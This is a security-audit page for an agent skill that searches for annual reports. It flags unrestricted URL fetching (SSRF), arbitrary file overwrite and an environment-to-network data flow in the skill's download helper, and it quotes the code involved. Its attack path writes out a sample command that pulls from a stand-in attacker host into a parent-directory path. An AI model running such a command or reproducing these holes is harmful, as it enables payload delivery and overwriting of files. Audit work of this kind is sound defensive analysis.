Back to skill

Security audit

sn-search-year-report

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its annual-report search purpose, but its download helper can fetch any URL and overwrite any writable file path, so it needs review before installation.

Install only if you are comfortable with an agent using this skill to make external web requests and write downloaded files. Treat the download command as unsafe unless you manually verify the URL is an official report PDF and choose a harmless output filename in a dedicated directory; avoid letting the agent pass arbitrary URLs or absolute/parent-directory paths.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/year_report_api.py:232
Finding

Unrestricted URL Fetch Enables Server-Side Request Forgery

Content
View full analysis
bytes: req_headers = {"User-Agent": DEFAULT_UA, **(headers or {})} req = urllib.request.Request(url, data=data, headers=req_headers, method=method) try: with urllib.request.urlopen(req, timeout=timeout) as resp: return resp.read() except urllib.error.HTTPError as exc: body = exc.read().decode("utf-8", errors="replace")[:1200] raise SystemExit(f"HTTP {exc.code} for {url}\n{body}") from exc except (urllib.error.URLError, TimeoutError) as exc: raise SystemExit(f"Request failed for {url}: {exc}") from exc ``` ```python def cmd_download(args: argparse.Namespace) -> None: body = request(args.url, headers={"User-Agent": DEFAULT_UA}, timeout=60) with open(args.output, "wb") as f: f.write(body) emit("Direct public file download", args.url, {"output": args.output, "bytes": len(body)}) ``` ```python p = sub.add_parser("download", help="Download a public annual-report PDF URL returned by a source.") p.add_argument("url") p.add_argument("--output", required=True) p.set_defaults(func=cmd_download) ``` ### Technical Analysis The `download` subcommand passes the CLI-provided URL directly to `urllib.request.urlopen`. The implementation does not validate: - The URL scheme. - The destination hostname. - The resolved IP address. - Whether the address belongs to a loopback, private, link-local, reserved, or cloud metadata network. - Redirect destinations. - Whether the destination belongs to an approved official disclosure service. - The response content type or maximum respo ...[truncated 2346 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/year_report_api.py:232
Finding

Unrestricted Output Path Enables Arbitrary File Overwrite

Content
View full analysis
None: body = request(args.url, headers={"User-Agent": DEFAULT_UA}, timeout=60) with open(args.output, "wb") as f: f.write(body) emit("Direct public file download", args.url, {"output": args.output, "bytes": len(body)}) ``` ```python p = sub.add_parser("download", help="Download a public annual-report PDF URL returned by a source.") p.add_argument("url") p.add_argument("--output", required=True) p.set_defaults(func=cmd_download) ``` ### Technical Analysis The `--output` argument is used directly as the target of `open(..., "wb")`. There is no restriction to a dedicated download directory and no validation against: - Absolute paths. - Parent-directory traversal using `..`. - Existing files. - Symbolic links. - Special files or named pipes. - Paths targeting project configuration or user data. The `wb` mode creates a missing file or truncates an existing file before writing. Python also follows symbolic links during ordinary file opening. As a result, any file writable by the operating-system identity running the Skill can potentially be replaced with content obtained from the supplied URL. This issue is particularly significant in combination with the unrestricted URL-fetch vulnerability because both the file content and destination can be influenced through command arguments. ### Attack Path 1. An attacker influences the output path included in a report-download request. 2. The Agent invokes a command such as: ```bash python scripts/year_report_api.py download "https://attacker.example/payload" --output "../../target-file" ``` An absolute path or a path containing a pre-existing symbolic link could also be used. 3. The script downloads attacker-sele ...[truncated 1081 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (7)

Tainted flow: 'req' from os.environ.get (line 42, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/year_report_api.py (reported line 44)May include surrounding context.

python
req_headers = {"User-Agent": DEFAULT_UA, **(headers or {})}
    req = urllib.request.Request(url, data=data, headers=req_headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        body = exc.read().decode("utf-8", errors="replace")[:1200]

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
90% confidence
Finding

The skill explicitly instructs use of a Python script and browser-based access to external sites, and references reading credentials from environment variables, but it declares no explicit tool scope or permissions boundary. That creates unnecessary ambient authority: a runtime may permit broader network and env access than intended, increasing the risk of credential exposure or unintended external requests if the skill is misused or modified.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The manifest description is written entirely in Chinese, while the file title and some headings are in English, and there is no statement that the skill supports multiple languages or that Chinese is required for a region-specific compliance reason. Under the policy, forcing a specific language without user opt-in is a natural-language policy concern.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/year_report_api.py (reported line 199)May include surrounding context.

python
def cmd_sec_filings(args: argparse.Namespace) -> None:
    cik = resolve_cik(args.cik, args.ticker)
    url = f"https://data.sec.gov/submissions/CIK{cik}.json"
    data = request_json(url, headers={"User-Agent": SEC_UA})
    forms = {form.strip().upper() for form in args.forms.split(",") if form.strip()}
    recent = (data.get("filings") or {}).get("recent") or {}

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The download subcommand allows fetching any user-supplied URL and writing the response to any user-supplied local path, which materially exceeds the stated purpose of searching annual-report sources. In an agent context, this creates arbitrary network access plus arbitrary file-write capability that can be abused to retrieve untrusted content and overwrite local files.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

A skill advertised for annual-report search should not expose a general-purpose arbitrary fetch primitive unless explicitly justified and sandboxed. In an agent deployment, arbitrary URL retrieval broadens the attack surface to SSRF-like internal access attempts, policy bypass, and retrieval of malicious payloads from non-report domains.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The code writes directly to a caller-controlled output path without checking for existing files, safe directories, or path traversal concerns. In an automated or semi-trusted environment, this can overwrite important local files or place attacker-chosen content in sensitive locations.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.